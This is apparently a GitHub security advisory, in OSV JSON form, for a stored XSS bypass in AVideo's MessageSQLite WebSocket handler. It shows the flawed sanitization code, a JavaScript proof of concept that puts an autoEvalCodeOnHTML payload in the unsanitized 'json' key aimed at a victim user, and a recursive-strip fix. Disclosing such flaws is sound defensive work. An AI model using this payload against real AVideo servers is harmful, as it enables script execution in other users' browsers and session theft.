AVideo: Stored XSS via autoEvalCodeOnHTML in MessageSQLite WebSocket Handler

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:55:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# AVideo: Stored XSS via `autoEvalCodeOnHTML` in MessageSQLite WebSocket Handler\n\n## Summary\n\nAVideo has a stored XSS vulnerability in the WebSocket messaging system. The `MessageSQLite.php` handler only strips `autoEvalCodeOnHTML` from `$json[\u0027msg\u0027]`, but `msgToResourceId()` reads from `$msg[\u0027json\u0027]` with higher priority. An attacker can place the XSS payload in the `json` key instead of `msg`, bypassing the sanitization entirely.\n\n\n## Affected Versions\n\nAVideo \u003c= latest\n\n## Vulnerability Details\n\n### Root Cause: Shallow sanitization only covers `$json[\u0027msg\u0027]`\n\n`plugin/YPTSocket/MessageSQLite.php` lines 268-271 \u2014 the incomplete fix:\n\n```php\nif (empty($msgObj-\u003eisCommandLineInterface) \u0026\u0026 ($msgObj-\u003esentFrom ?? \u0027\u0027) !== \u0027php\u0027) {\n    if (is_array($json[\u0027msg\u0027] ?? null)) {\n        unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);  // Only strips from $json[\u0027msg\u0027]\n    }\n}\n```\n\n`plugin/YPTSocket/MessageSQLite.php` lines 361-367 \u2014 the bypass via `msgToResourceId()`:\n\n```php\nif (!empty($msg[\u0027json\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027json\u0027];       // $msg[\u0027json\u0027][\u0027autoEvalCodeOnHTML\u0027] is NEVER stripped\n} else if (!empty($msg[\u0027msg\u0027])) {\n    $obj[\u0027msg\u0027] = $msg[\u0027msg\u0027];        // Only this path was sanitized\n} else {\n    $obj[\u0027msg\u0027] = $msg;\n}\n```\n\nCompare with the correctly patched `Message.php` (lines 254-256):\n\n```php\n$json = removeAutoEvalCodeOnHTMLRecursive($json);  // Strips from ALL nested paths\n```\n\nAnd `MessageSQLiteV2.php` (lines 302-303):\n\n```php\n$json = removeAutoEvalCodeOnHTMLRecursive($json);  // Same recursive fix\n```\n\n`MessageSQLite.php` does not call `removeAutoEvalCodeOnHTMLRecursive()` at all.\n\n### Attack Chain\n\n- Attacker sends a WebSocket message with `autoEvalCodeOnHTML` in the `json` key instead of `msg`\n- The fix at line 268-271 only checks `$json[\u0027msg\u0027]` \u2014 the `json` key is untouched\n- `msgToResourceId()` reads `$msg[\u0027json\u0027]` first (line 361) because `!empty($msg[\u0027json\u0027])` is true\n- The payload is delivered to the victim\u0027s WebSocket client and evaluated via `autoEvalCodeOnHTML`\n\n## Proof of Concept\n\n```javascript\n// Connect to AVideo WebSocket as authenticated user\nconst ws = new WebSocket(\u0027wss://TARGET/plugin/YPTSocket/server.php?token=USER_TOKEN\u0027);\n\nws.onopen = () =\u003e {\n  ws.send(JSON.stringify({\n    msg: \"Hello\",                               // sanitized path \u2014 decoy\n    json: {autoEvalCodeOnHTML: \"alert(\u0027XSS\u0027)\"},  // unsanitized path \u2014 payload\n    to_users_id: VICTIM_USER_ID,\n    resourceId: RESOURCE_ID\n  }));\n};\n// Victim\u0027s client evaluates alert(\u0027XSS\u0027) via autoEvalCodeOnHTML mechanism\n```\n\n## Impact\n\nAn authenticated attacker can:\n\n- Execute arbitrary JavaScript in any connected user\u0027s browser session via the WebSocket messaging system\n- Steal session cookies and authentication tokens\n- Perform account takeover via session hijacking\n- Chain with CSRF to execute admin actions on behalf of the victim\n\nThe vulnerability affects the default SQLite WebSocket backend configuration.\n\n## Suggested Remediation\n\nApply `removeAutoEvalCodeOnHTMLRecursive()` in `MessageSQLite.php`, consistent with `Message.php` and `MessageSQLiteV2.php`:\n\n```php\n// Before (vulnerable \u2014 shallow strip):\nif (is_array($json[\u0027msg\u0027] ?? null)) {\n    unset($json[\u0027msg\u0027][\u0027autoEvalCodeOnHTML\u0027]);\n}\n\n// After (fixed \u2014 recursive strip):\n$json = removeAutoEvalCodeOnHTMLRecursive($json);\n```",
  "id": "GHSA-2fhx-q92v-5fhv",
  "modified": "2026-06-04T18:55:04Z",
  "published": "2026-06-04T18:55:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2fhx-q92v-5fhv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/3e0b3ce2bfa766183ff0ae227439394db57b1a23"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "WWBN AVideo: Stored XSS via autoEvalCodeOnHTML Bypass in MessageSQLite WebSocket Handler (CVE-2026-43874 Bypass)"
}